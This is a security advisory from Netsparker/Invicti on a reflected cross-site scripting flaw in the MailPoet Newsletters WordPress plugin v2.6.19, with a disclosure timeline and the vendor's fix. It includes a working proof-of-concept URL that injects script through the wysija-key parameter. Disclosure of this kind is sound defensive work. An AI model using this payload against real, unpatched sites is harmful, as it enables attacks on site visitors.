Information
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Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Mailpoet Newsletters WordPress plugin
Affected Software: Mailpoet Newsletters
Affected Versions: v2.6.19 and possibly below
Vendor Homepage: http://www.mailpoet.com/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: TBA
Status: Fixed
Invicti Advisory Reference: NS-16-002

Technical Details
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Proof of Concept URL for XSS in Mailpoet Newsletters v2.6.19:

wordpress-4.4.1/?wysija-page=1&controller=confirm&wysija-key='"--></style></scRipt><scRipt>alert(0x0034B4)</scRipt>&action=unsubscribe&demo=1&wysijap=subscriptions

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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18 Jan 2016 - First Contact
29 Jan 2016 - Vendor Fixed
02 Feb 2016 - Advisory Released

Solution
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Patch released by MailPoet and announced here: https://wordpress.org/plugins/wysija-newsletters/changelog/. Download the latest version.

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.